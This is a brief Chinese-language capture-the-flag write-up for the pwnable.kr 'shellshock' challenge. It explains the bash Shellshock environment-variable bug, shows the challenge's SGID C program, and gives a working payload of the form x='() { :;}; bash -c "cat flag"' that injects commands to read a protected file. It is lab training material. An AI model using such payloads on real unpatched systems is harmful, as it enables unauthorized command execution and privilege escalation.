pwnable.kr [shellshock]
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure ?
ssh shellshock@pwnable.kr -p2222 (pw:guest)
此题使用破壳漏洞。
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
payload 构造方法
x=' () {:;}; cmd para ' cmd para
cmd para
处的代码会被执行。
但当前用户无读取权限
但是shellshock.c
如下
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
同时观察权限
可以看到shellshock 文件设置了SGID
权限,即执行的时候获得文件用户组的权限支持。
此文件将当前的进程的用户改为了用户组,把进程的权限也改为了用户组。这时执行此程序时再设置payload即可
然后将payload改为
x='() { :;}; bash -c "cat flag" ' ./shellshock